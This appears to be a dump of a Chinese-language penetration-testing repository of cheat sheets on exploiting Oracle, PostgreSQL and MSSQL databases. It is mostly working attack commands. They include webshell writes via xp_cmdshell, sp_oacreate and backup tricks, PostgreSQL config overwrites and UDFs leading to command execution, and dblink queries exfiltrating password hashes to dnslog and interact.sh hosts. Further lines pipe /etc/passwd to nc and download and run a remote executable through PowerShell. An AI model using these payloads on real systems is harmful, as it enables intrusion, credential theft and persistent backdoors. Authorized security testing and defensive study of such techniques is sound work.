├── Oracle.md ├── PostgreSQL.md ├── README.md ├── db2.md ├── mssql.md ├── mysql.md ├── redis.md ├── redis_exp.dll ├── redis_exp.so ├── sqlmap udf.zip └── tips.md /Oracle.md: -------------------------------------------------------------------------------- 1 | # Oracle 2 | 3 | 更新时间:2021.9.30 4 | 5 | 老鸟速查笔记,新手建议直接读文末引用。 6 | 7 | 8 | 9 | 10 | 11 | # GetShell 12 | 13 | 14 | 15 | 16 | # Vuln 17 | 18 | 19 | 20 | 21 | 22 | # Privilege Escalation 23 | 24 | 25 | 26 | ### 创建java函数提权 27 | 28 | - dba权限 29 | 30 | ------ 31 | 32 | 1. 使用sqlplus连接 33 | 34 | ``` 35 | system/system@192.168.117.66:1521/orcl 36 | ``` 37 | 38 | 1. 赋权 39 | 40 | ``` 41 | begin dbms_java.grant_permission( 'PUBLIC', 'SYS:java.io.FilePermission', '<>', 'read,write,execute,delete' );end; 42 | / 43 | ``` 44 | 45 | 1. 创建java代码 46 | 47 | ``` 48 | create or replace and compile java source named exe_linux as 49 | import java.io.BufferedReader; 50 | import java.io.InputStream; 51 | import java.io.InputStreamReader; 52 | import java.net.UnknownHostException; 53 | public class Test 54 | { 55 | public static String list_cmd(String str){ 56 | Runtime runtime=Runtime.getRuntime(); 57 | StringBuffer enco = new StringBuffer(); 58 | enco.append("GBK"); 59 | try{ 60 | Process proc =runtime.exec(str); 61 | InputStream inp_suc=proc.getInputStream(); 62 | InputStream inp_err=proc.getErrorStream(); 63 | BufferedReader bfr_err = new BufferedReader(new InputStreamReader(inp_err,enco.toString())); 64 | BufferedReader bfr_suc = new BufferedReader(new InputStreamReader(inp_suc,enco.toString())); 65 | String strLine; 66 | while( (strLine=(bfr_suc.readLine())) != null){ 67 | 68 | System.out.println(strLine); 69 | } 70 | while( (strLine=(bfr_err.readLine())) != null){ 71 | 72 | System.out.println(strLine); 73 | } 74 | proc.destroy(); 75 | inp_suc.close(); 76 | inp_err.close(); 77 | }catch (Exception e) { 78 | System.out.println("EXECUTE IS ERROR!"); 79 | System.out.println(e.getMessage()); 80 | } 81 | return ""; 82 | } 83 | 84 | /* public static void main(String[] args){ 85 | 86 | list_cmd(args[0]); 87 | } 88 | **/ 89 | } 90 | 91 | / 92 | ``` 93 | 94 | 1. 创建存储过程 95 | 96 | ``` 97 | create or replace procedure p_exe_linux(str varchar2) as language java 98 | name 'Test.list_cmd(java.lang.String)'; 99 | / 100 | ``` 101 | 102 | 1. 命令执行 103 | 104 | ``` 105 | SET SERVEROUTPUT ON 106 | exec dbms_java.set_output(1111111111111); 107 | EXEC P_EXE_LINUX('whoami'); 108 | ``` 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | # Other 117 | 118 | 119 | 120 | 用户库中所有字段名带个人信息的表 121 | 122 | ``` 123 | SELECT * FROM USER_TAB_COLUMNS WHERE regexp_like(column_name,'NAME|PHONE|MOBILE|CERTIFICATE|NUMBER|EMAIL|ADDR|CARD|电话|地址|身份证|姓名') 124 | ``` 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | # References 133 | 134 | - https://mp.weixin.qq.com/s/VgXOXVl-Bx2Vi8BYxdx3CA -------------------------------------------------------------------------------- /PostgreSQL.md: -------------------------------------------------------------------------------- 1 | # PostgreSQL 2 | 3 | 更新时间:2022.4.21 4 | 5 | 老鸟速查笔记,新手建议直接读文末引用。 6 | 7 | 8 | # 信息收集 9 | 10 | 查看服务器端版本 11 | ``` 12 | -- 详细信息 13 | select version(); 14 | 15 | -- 版本信息 16 | show server_version; 17 | select pg_read_file('PG_VERSION', 0, 200); 18 | 19 | -- 数字版本信息包括小版号 20 | SHOW server_version_num; 21 | SELECT current_setting('server_version_num'); 22 | ``` 23 | 24 | 列目录 25 | 26 | ``` 27 | -- 注意: 在早期的 PostgreSQL 版本中,pg_ls_dir 不允许使用绝对路径 28 | select pg_ls_dir('/etc'); 29 | 30 | -- 获取 pgsql 安装目录 31 | select setting from pg_settings where name = 'data_directory'; 32 | 33 | -- 查找 pgsql 配置文件路径 34 | select setting from pg_settings where name='config_file' 35 | ``` 36 | 37 | 列出数据库 38 | ``` 39 | SELECT datname FROM pg_database; 40 | ``` 41 | 列出表 42 | ``` 43 | SELECT table_name FROM information_schema.tables WHERE table_schema='public'; 44 | ``` 45 | 46 | 查看服务器ip地址 47 | ``` 48 | select inet_server_addr() 49 | ``` 50 | 51 | 查看安装的扩展 52 | ``` 53 | select * from pg_available_extensions; 54 | ``` 55 | 56 | 查询密码 57 | ``` 58 | 用户 hash 已经是 scram-sha-256,在以前的版本是加盐md5 59 | SELECT usename, passwd FROM pg_shadow; 60 | 61 | SELECT rolname,rolpassword FROM pg_authid; 62 | ``` 63 | 64 | 查询当前的加密方式 65 | ``` 66 | -- password_encryption参数决定了密码怎么被hash 67 | SELECT name,setting,source,enumvals FROM pg_settings WHERE name = 'password_encryption'; 68 | ``` 69 | 查看当前用户是不是管理员权限 70 | ``` 71 | SELECT current_setting('is_superuser'); 72 | -- on 代表是, off 代表不是 73 | 74 | SHOW is_superuser; 75 | SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER; 76 | ``` 77 | 78 | 79 | 80 | # GetShell 81 | 82 | ### copy to写shell 83 | 84 | - 拥有网站路径写入权限 85 | - 知道网站绝对路径 86 | 87 | ``` 88 | copy (select '') to '/tmp/1.php'; 89 | ``` 90 | 方法2 91 | ``` 92 | COPY (select convert_from(decode('ZmZmZmZmZmYweA==','base64'),'utf-8')) to '/tmp/success.txt'; 93 | ``` 94 | 95 | ### lo_export 96 | 采用大对象 OID 和路径,将文件写入路径。 97 | ``` 98 | select lo_from_bytea(12349,'ffffffff0x'); 99 | SELECT lo_export(12349, '/tmp/ffffffff0x.txt'); 100 | 101 | -- base64 的形式 102 | select lo_from_bytea(12350,decode('ZmZmZmZmZmYweA==','base64')); 103 | SELECT lo_export(12350, '/tmp/ffffffff0x.txt'); 104 | ``` 105 | 106 | ### lo_export + pg_largeobject 107 | ``` 108 | -- 记下生成的lo_creat ID 109 | select lo_creat(-1); 110 | 111 | -- 替换 24577 为生成的lo_creat ID 112 | INSERT INTO pg_largeobject(loid, pageno, data) values (24577, 0, decode('ZmZmZmZmZmYweA==', 'base64')); 113 | select lo_export(24577, '/tmp/success.txt'); 114 | ``` 115 | 116 | 117 | 118 | ### lo_create写shell 119 | 120 | 利用分片进行上传,首先创建一个 OID 作为写入的对象, 然后通过 0,1,2,3… 分片上传但是对象都为 12345 最后导出到 / tmp 目录下, 收尾删除 OID 121 | 122 | ``` 123 | SELECT lo_create(12345); 124 | INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex')); 125 | INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex')); 126 | INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex')); 127 | INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex')); 128 | SELECT lo_export(12345, '/tmp/test.so'); 129 | SELECT lo_unlink(12345); 130 | ``` 131 | 132 | ### lo_create+lo_put 133 | ``` 134 | select lo_create(11116); 135 | select lo_put(11116,0,'dGVzdDEyM'); 136 | select lo_put(11116,9,'zQ1Ng=='); 137 | 138 | select lo_from_bytea(11141,decode(encode(lo_get(11116),'escape'),'base64')); 139 | select lo_export(11141,'/tmp/test.txt'); 140 | SELECT lo_unlink(11141); 141 | ``` 142 | 143 | # 目录创建 144 | 145 | ## log_directory 创建文件夹 146 | 方法来自于 https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/ 这篇文章的场景 147 | 148 | 利用条件 149 | - 目标已经配置了 logging_collector = on 150 | 151 | 描述 152 | 153 | 配置文件中的 log_directory 配置的目录不存在时,pgsql 启动会失败,但是如果日志服务已启动,在修改 log_directory 配置后再 reload_conf 目录会被创建 154 | 155 | 原理 156 | 157 | logging_collector 配置是否开启日志,只能在服务开启时配置,reloadconf 无法修改,log_directory 用来配置 log 日志文件存储到哪个目录,如果 log_directory 配置到一个不存在的目录,pgsql 会创建目录。 158 | 159 | ### 利用 160 | 先查看配置文件的路径 161 | ``` 162 | select setting from pg_settings where name='config_file' 163 | 164 | ``` 165 | 查看内容 166 | ``` 167 | select pg_read_file('/var/lib/postgresql/data/postgresql.conf'); 168 | ``` 169 | 修改配置文件里面的日志目录 170 | ``` 171 | log_destination = 'csvlog' 172 | log_directory = '/tmp/f0x' 173 | log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' 174 | log_rotation_size = 100MB 175 | log_rotation_age = 1d 176 | log_min_messages = INFO 177 | logging_collector = on 178 | ``` 179 | 转为 base64 格式 180 | ``` 181 | cat out.txt | base64 -w 0 > base64.txt 182 | ``` 183 | 将修改后的配置文件加载到largeobject中 184 | ``` 185 | select lo_from_bytea(10001,decode('base64的内容,这里略','base64')); 186 | ``` 187 | -- 通过lo_export覆盖配置文件 188 | ``` 189 | select lo_export(10001,'/var/lib/postgresql/data/postgresql.conf'); 190 | SELECT lo_unlink(10001); 191 | ``` 192 | -- 重新加载配置文件 193 | ``` 194 | select pg_reload_conf(); 195 | ``` 196 | 查询一下修改是否成功 197 | ``` 198 | select name,setting,short_desc from pg_settings where name like 'log_%'; 199 | ``` 200 | 201 | # PostgreSQL 带外数据 202 | -- 开启 dblink 扩展 203 | ``` 204 | CREATE EXTENSION dblink 205 | ``` 206 | -- 获取当前数据库用户名称 207 | ``` 208 | SELECT * FROM dblink('host='||(select user)||'.djw0pg.dnslog.cn user=test dbname=test', 'SELECT version()') RETURNS (result TEXT); 209 | ``` 210 | 查询当前密码 211 | ``` 212 | SELECT * FROM dblink('host='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')||'.c8jrsjp2vtc0000rwce0grjcc3oyyyyyb.interact.sh user=test dbname=test', 'SELECT version()') RETURNS (result TEXT); 213 | ``` 214 | 215 | 利用nc 216 | ``` 217 | nc -lvv 4444 218 | ``` 219 | ``` 220 | select dblink_connect((select 'hostaddr=x.x.x.x port=4445 user=test password=test sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 221 | ``` 222 | 223 | 224 | # Vuln 225 | 226 | ### CVE-2018-1058 227 | 228 | - 版本9.3-10.0 229 | 230 | 231 | 232 | PostgreSQL 其 9.3 到 10 版本中存在一个逻辑错误,原理就是在public空间上重载函数,加入恶意的程序代码。等待其他账户尤其是超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。 233 | 详细复现可以参考 vulhub 靶场中的 writeup 234 | - https://vulhub.org/#/environments/postgres/CVE-2018-1058/ 235 | 236 | 237 | 238 | 1、创建表并插入数据(evil权限执行): 239 | 240 | ``` 241 | CREATE TABLE public.hehehehe AS SELECT 'evil'::varchar AS contents; 242 | ``` 243 | 244 | 2、定义函数(evil权限执行): 245 | 246 | ``` 247 | CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$ 248 | ALTER ROLE evil SUPERUSER; 249 | SELECT pg_catalog.upper($1); 250 | $$ LANGUAGE SQL VOLATILE; 251 | ``` 252 | 253 | 3、查询时候使用upper函数(bobac权限执行) 254 | 255 | ``` 256 | SELECT upper(contents) FROM hehehehe; 257 | ``` 258 | 259 | 此时就执行了ALTER ROLE evil SUPERUSER;使evil的权限变成bobac的权限。 260 | 261 | ### CVE-2019-9193 262 | 263 | - 版本9.3-11.2 264 | - 超级用户或者pg_read_server_files组中的任何用户 265 | 266 | PostgreSQL 其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。 267 | 文章:https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 268 | 269 | ``` 270 | DROP TABLE IF EXISTS cmd_exec; 271 | CREATE TABLE cmd_exec(cmd_output text); 272 | COPY cmd_exec FROM PROGRAM 'id'; 273 | SELECT * FROM cmd_exec; 274 | ``` 275 | 276 | 277 | 278 | # Privilege Escalation 279 | 280 | ## 利用 UDF 命令执行 281 | 282 | 在 8.2 以前,postgresql 不验证 magic block,可以直接调用本地的 libc.so 283 | ``` 284 | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; 285 | SELECT system('cat /etc/passwd | nc xxx.xx.xx.xx'); 286 | 287 | CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT; 288 | CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT; 289 | select system('id'); 290 | ``` 291 | 292 | 8.2 以上版本,需要自己编译 so 文件去创建执行命令函数,可以自己编译反弹 shell 后门,也可以用 sqlmap 提供好的 293 | - https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/postgresql 294 | 参考https://github.com/No-Github/postgresql_udf_help 295 | 296 | 297 | ## 利用PL/Python 扩展 298 | 299 | PostgreSQL 可以支持多种存储过程语言,官方支持的除了 PL/pgSQL,还有 TCL,Perl,Python 等。 300 | 301 | 默认 PostgreSQL 不会安装 Python 的扩展。 302 | 303 | 查看是否支持 plpython3u 304 | ``` 305 | select * from pg_language; 306 | select lanname from pg_language; 307 | ``` 308 | 创建一个 UDF 来执行我们要执行的命令 309 | ``` 310 | CREATE FUNCTION system (a text) 311 | RETURNS text 312 | AS $$ 313 | import os 314 | return os.popen(a).read() 315 | $$ LANGUAGE plpython3u; 316 | ``` 317 | 创建好 UDF 后,进行调用 318 | ``` 319 | select system('ls -la'); 320 | ``` 321 | 322 | ## 利用 session_preload_libraries 加载共享库 323 | 324 | 方法来自于 https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/ 这篇文章的场景 325 | 326 | ### 描述 327 | 328 | session_preload_libraries 只允许 superuser 修改,但可以加载任意目录的库,session_preload_libraries 配置从 pg10 开始存在,低于 pg10 时,可以使用 local_preload_libraries,不过该配置只允许加载 $libdir/plugins/ 目录下的库,需要将库写入到该目录下。 329 | 330 | 当每次有新连接进来时,都会加载 session_preload_libraries 配置的共享库。 331 | 332 | 和上面的利用 UDF 命令执行一样,不过不同点在于上面一个是创建 function 加载,这个方式是通过改配置文件中的 session_preload_libraries 进行加载 333 | 334 | ## 利用 ssl_passphrase_command 执行命令 335 | 336 | 方法来自于 https://pulsesecurity.co.nz/articles/postgres-sqli 这篇文章的场景 337 | 338 | ### 利用条件 339 | - 需要知道 PG_VERSION 文件的位置 (不是 PG_VERSION 文件也行,pgsql限制私钥文件权限必须是0600才能够加载,pgsql目录下的所有0600权限的文件都是可以的,但覆盖后没啥影响的就 PG_VERSION 了) 340 | 341 | ### 描述 342 | 343 | 当配置文件中配置了 ssl_passphrase_command ,那么该配置在需要获取用于解密SSL文件密码时会调用该配置的命令。 344 | 345 | 通过上传 pem,key 到目标服务器上,读取配置文件内容,修改配置文件中的ssl配置改为我们要执行的命令,通过lo_export覆盖配置文件,最后通过 pg_reload_conf 重载配置文件时将执行命令 346 | 347 | ## 利用 348 | 以已经存在的2个密钥文件为例 349 | ``` 350 | /etc/ssl/certs/ssl-cert-snakeoil.pem 351 | /etc/ssl/private/ssl-cert-snakeoil.key 352 | ``` 353 | 通过文件读取获取私钥 354 | ``` 355 | select pg_read_file('/etc/ssl/private/ssl-cert-snakeoil.key'); 356 | ``` 357 | 358 | 对私钥文件加密 359 | ``` 360 | # 密码为 12345678 361 | openssl rsa -aes256 -in ssl-cert-snakeoil.key -out private_passphrase.key 362 | 363 | # 输出为 base64 格式 364 | cat private_passphrase.key | base64 -w 0 > base.txt 365 | ``` 366 | 367 | 上传 private_passphrase.key 到目标服务器上 368 | 369 | 由于 pgsql 限制私钥文件权限必须是 0600 才能够加载,这里搜索 pgsql 目录下的所有 0600 权限的文件,发现 PG_VERSION 文件符合条件,而且覆盖也没有太大影响 370 | 371 | PG_VERSION 与 config_file 文件同目录,上传私钥文件覆盖 PG_VERSION,可绕过权限问题。 372 | 373 | 将 private_passphrase.key 覆盖 PG_VERSION 文件 374 | ``` 375 | select lo_from_bytea(10004,decode('base64的内容,这里略','base64')); 376 | select lo_export(10004,'/var/lib/postgresql/data/PG_VERSION'); 377 | SELECT lo_unlink(10004); 378 | ``` 379 | 380 | 读取配置文件内容 381 | ``` 382 | select setting from pg_settings where name='config_file' 383 | select pg_read_file('/var/lib/postgresql/data/postgresql.conf'); 384 | ``` 385 | 在原始配置文件内容末尾追加上ssl配置 386 | ``` 387 | ssl = on 388 | ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem' 389 | ssl_key_file = '/var/lib/postgresql/data/PG_VERSION' 390 | ssl_passphrase_command_supports_reload = on 391 | ssl_passphrase_command = 'bash -c "touch /tmp/success & echo 12345678; exit 0"' 392 | ``` 393 | 转为 base64 格式 394 | 395 | 这里我将配置文件的内容存到了 out.txt 中 396 | ``` 397 | cat out.txt | base64 -w 0 > base3.txt 398 | ``` 399 | -- 将修改后的配置文件加载到largeobject中 400 | ``` 401 | select lo_from_bytea(10001,decode('base64的内容,这里略','base64')); 402 | ``` 403 | -- 通过lo_export覆盖配置文件 404 | ``` 405 | select lo_export(10001,'/var/lib/postgresql/data/postgresql.conf'); 406 | SELECT lo_unlink(10001); 407 | ``` 408 | -- 重新加载配置文件,重新加载配置文件后,ssl_passphrase_command 中的命令就会执行 409 | ``` 410 | select pg_reload_conf(); 411 | ``` 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | # 文件读取 424 | 425 | 426 | 427 | PostgreSQL 读取文件 428 | ``` 429 | -- 注意: 在早期的 PostgreSQL 版本中,pg_read_file 不允许使用绝对路径 430 | select pg_read_file('/etc/passwd'); 431 | -- 单引号被转义的情况下使用 432 | select/**/PG_READ_FILE($$/etc/passwd$$) 433 | ``` 434 | 方法二 435 | ``` 436 | drop table testaaaa; 437 | create table testaaaa(t TEXT); 438 | copy testaaaa from '/etc/passwd'; 439 | select * from testaaaa limit 1 offset 0; 440 | ``` 441 | 442 | PostgreSQL 读取文件2 443 | ``` 444 | Select lo_import('/etc/passwd',12345678); 445 | select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno 446 | ``` 447 | 单引号被转义的情况下使用 448 | ``` 449 | select/**/lo_import($$/etc/passwd$$,11111); 450 | select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111 451 | ``` 452 | 453 | 454 | 455 | 456 | 457 | # References 458 | - https://tttang.com/archive/1547/ 459 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PentestDB 2 | 收集整理各种数据库的利用姿势。 3 | 4 | 5 | 6 | # 目录 7 | 8 | 9 | 10 | - [**mysql**](mysql.md) 11 | - [**mssql**](mssql.md) 12 | - [**oracle**](Oracle.md) 13 | - [**postgresql**](PostgreSQL.md) 14 | - [**redis**](redis.md) 15 | - [**tips**](tips.md) 16 | 17 | 18 | # 综合利用工具 19 | 20 | https://github.com/Ryze-T/Sylas 21 | https://github.com/SafeGroceryStore/MDUT 22 | 23 | 24 | 25 | 26 | # 说明 27 | 28 | 小弟水平有限,如有不对欢迎指出,以免误人子弟。 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /db2.md: -------------------------------------------------------------------------------- 1 | # db2 2 | 先收藏文章,后面整理。 3 | 4 | # ref 5 | - https://mp.weixin.qq.com/s/Lu4V_J6cresqmVnfQmg05g 6 | -------------------------------------------------------------------------------- /mssql.md: -------------------------------------------------------------------------------- 1 | # Mssql 2 | 3 | 更新时间:2025.1.4 4 | 5 | 老鸟速查笔记,新手建议直接读文末引用。 6 | 7 | 8 | 9 | 10 | 11 | # GetShell 12 | 13 | ### 存储过程xp_cmdshell写shell 14 | 15 | - 拥有DBA权限 16 | - 知道的网站绝对路径 17 | 18 | 19 | 20 | xp_cmdshell不能调用,下面命令打开 21 | 22 | 在2005中xp_cmdshell的权限是system,2008中是network。 23 | 24 | ```sql 25 | #开启xp_cmdshell 26 | exec sp_configure 'show advanced options', 1; 27 | reconfigure; 28 | exec sp_configure 'xp_cmdshell', 1;` 29 | reconfigure; 30 | exec sp_configure 'show advanced options', 0; 31 | reconfigure; 32 | exec master..xp_cmdshell 'whoami' #能执行得到whoami的结果 33 | ``` 34 | 35 | 36 | 37 | ```sql 38 | #关闭xp_cmdshell 39 | exec sp_configure 'show advanced options', 1; 40 | reconfigure; 41 | exec sp_configure 'xp_cmdshell', 0; 42 | reconfigure;` 43 | exec sp_configure 'show advanced options', 0; 44 | reconfigure; 45 | exec master..xp_cmdshell 'whoami' #不能得到whoami的结果 46 | ``` 47 | 48 | 49 | 50 | 写shell 51 | 52 | ``` 53 | exec master..xp_cmdshell 'echo ^<%eval request("chopper")%^> >>f:\\7788\\MSSQL-SQLi-Labs\\shell.asp' 54 | ``` 55 | 56 | sqlmap 57 | 58 | ```cmd 59 | http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ; 60 | ``` 61 | 62 | ```sql 63 | -- 判断当前是否为DBA权限,为1则可以提权 64 | select is_srvrolemember('sysadmin'); 65 | 66 | -- 查看是否存在 xp_cmdshell 67 | EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 68 | 69 | -- 查看能否使用 xp_cmdshell,从MSSQL2005版本之后默认关闭 70 | select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' 71 | 72 | -- 关闭 xp_cmdshell 73 | EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; 74 | 75 | -- 开启 xp_cmdshell 76 | EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 77 | 78 | -- 执行 xp_cmdshell 79 | exec master..xp_cmdshell 'cmd /c whoami' 80 | 81 | -- xp_cmdshell 调用cmd.exe用powershell 远程下载exe并执行 82 | exec master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell -ExecutionPolicy Bypass %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""' 83 | 84 | ``` 85 | 86 | 无会显,也无法进行 dnslog 怎么办 87 | 88 | 通过临时表查看命令执行的结果 89 | ``` 90 | CREATE TABLE tmpTable (tmp1 varchar(8000)); 91 | insert into tmpTable(tmp1) exec master..xp_cmdshell 'ipconfig' 92 | select * from tmpTable 93 | ``` 94 | 常见报错 95 | 96 | 标记message: 配置选项 ‘xp_cmdshell’ 不存在,也可能是高级选 97 | ``` 98 | sql EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'user connections',1;RECONFIGURE; 99 | ``` 100 | 101 | 102 | 如果 xp_cmdshell 被删除了,需要重新恢复或自己上传 xplog70.dll 进行恢复 103 | 104 | 以mssql2012为例,默认路径为 105 | ``` 106 | C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll 107 | ``` 108 | 恢复如下 109 | ``` 110 | -- 判断存储扩展是否存在,返回结果为1就OK 111 | 112 | Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell' 113 | 114 | -- 恢复xp_cmdshell,返回结果为1就OK 115 | Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll'; 116 | select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell' 117 | 118 | -- 否则上传xplog70.dll 119 | Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll' 120 | ``` 121 | 122 | 123 | 124 | ### 存储过程sp_oacreate写shell 125 | 126 | - 拥有DBA权限 127 | - 知道的网站绝对路径 128 | 129 | 有do_owner权限的用户也可以。 130 | 131 | 判断当前是否为DBA权限,为1则可以提权 132 | 133 | ```sql 134 | select is_srvrolemember('sysadmin'); 135 | ``` 136 | 137 | 利用存储过程写入一句话 138 | 139 | ```sql 140 | declare @o int, @f int, @t int, @ret int 141 | exec sp_oacreate 'scripting.filesystemobject', @o out 142 | exec sp_oamethod @o, 'createtextfile', @f out, 'C:\xxxx\www\test.asp', 1 143 | exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>' 144 | ``` 145 | 146 | 147 | 148 | 被删除可以使用这个来提权试试,恢复sp_oacreate 149 | 150 | ```sql 151 | EXEC sp_configure 'show advanced options', 1; 152 | RECONFIGURE WITH OVERRIDE; 153 | EXEC sp_configure 'Ole Automation Procedures', 1; 154 | RECONFIGURE WITH OVERRIDE; 155 | EXEC sp_configure 'show advanced options', 0; 156 | ``` 157 | 158 | 159 | 160 | ### 日志备份写shell 161 | 162 | 优势: 163 | - 重复性好,多次备份的成功率高 164 | - 相对于差异备份而言,shell的体积较小 165 | - 备份出来的shell兼容性好很多,比差异备份好用 166 | 167 | 利用条件: 168 | - 拥有DBA权限 169 | - 知道网站绝对路径,并且可写 170 | - 站库不分离 171 | - 数据库必须被备份过一次 172 | 173 | LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式 174 | 175 | 176 | 177 | ```sql 178 | -- 可以自己创建一个库 179 | CREATE DATABASE test 180 | 181 | -- 如果没备份过,可以先备份一次 ,test是库名 182 | backup database test to disk = 'D:\web\admin\bak.bak'; 183 | 184 | alter database test set RECOVERY FULL 185 | create table test.[dbo].[cmd] ([a] [image]); 186 | backup log test to disk = 'D:\web\admin\log.bak' with init 187 | insert into test.[dbo].[cmd](a) values (0x3C25657865637574652872657175657374282261222929253E) 188 | -- 重复备份,内容会追加,不会覆盖。 如果备份出来的没解析,多刷新几次就行 189 | backup log test to disk = 'D:\web\admin\d123.asp' 190 | ``` 191 | 192 | 193 | 194 | ### 差异备份写shell 195 | 196 | - 拥有DBA权限 197 | - 知道的网站绝对路径 198 | 199 | 在 sql server 里 dbo 和 sa 权限都有备份数据库权限,我们可以把数据库备份成 asp 文件,获得 webshell 200 | 201 | 因为权限的问题,最好不要备份到盘符根目录,如果这种方式失败,大概率是备份的目录没有写权限. 202 | 203 | 当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。 204 | 205 | 206 | 207 | ```sql 208 | -- 生成备份文件,注意库名和路径 209 | backup database test to disk = 'D:\web\admin\bak.bak'; 210 | create table test.[dbo].[t] ([cmd] [image]); 211 | -- 插入一句话:<%execute(request("a"))%> 212 | insert into test.[dbo].[t](cmd) values(0x3C25657865637574652872657175657374282261222929253E) 213 | -- 再次备份,注意路径 214 | backup database test to disk='D:\web\admin\d1.asp' WITH DIFFERENTIAL,FORMAT; 215 | -- 访问如下url验证,没有报错,说明shell能用,测了一下感觉这个方式兼容性不行 216 | http:///d1.asp?a=Response.Write(%22test%22) 217 | ``` 218 | 219 | ### 命令执行绕过 220 | 221 | ``` 222 | 直接执行copy会被拦截,可以通过下面的方法,在前后加不会拦截的命令 223 | 224 | EXEC master..xp_cmdshell 'dir|copy D:\web\admin\script\common.js D:\web\admin\script\1.js|dir' 225 | 226 | EXEC master..xp_cmdshell 'whoami|copy D:\web\admin\script\common.js D:\web\admin\script\1.js|whoami' 227 | 228 | EXEC master..xp_cmdshell 'echo|copy D:\web\admin\script\common.js D:\web\admin\script\1.js' 229 | ``` 230 | 231 | 232 | 233 | 234 | # Privilege Escalation 235 | 236 | 237 | 238 | 239 | ## 沙盒提权 240 | 241 | - 拥有DBA权限 242 | - sqlserver服务权限为system 243 | - 服务器拥有jet.oledb.4.0驱动 244 | 245 | 246 | 247 | ```sql 248 | exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; 249 | 250 | exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'; 251 | 252 | Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( whoami )'); 253 | 254 | ``` 255 | 256 | ``` 257 | 258 | -- 修改注册表,关闭沙盒模式 259 | EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 260 | 261 | -- 开启 Ad Hoc Distributed Queries 262 | EXEC sp_configure 'show advanced options', 1 263 | RECONFIGURE 264 | GO 265 | EXEC sp_configure 'ad hoc distributed queries', 1 266 | RECONFIGURE 267 | GO 268 | -- Until SQL Server 2012 269 | 270 | EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1 271 | EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1 272 | 273 | -- SQL Server 2014 or later 274 | EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1 275 | EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1 276 | 277 | -- Windows 2003 系统 c:\windows\system32\ias\ 目录下默认自带了 2 个 Access 数据库文件 ias.mdb/dnary.mdb, 所以直接调用即可. 278 | -- Windows 2008 R2 默认无 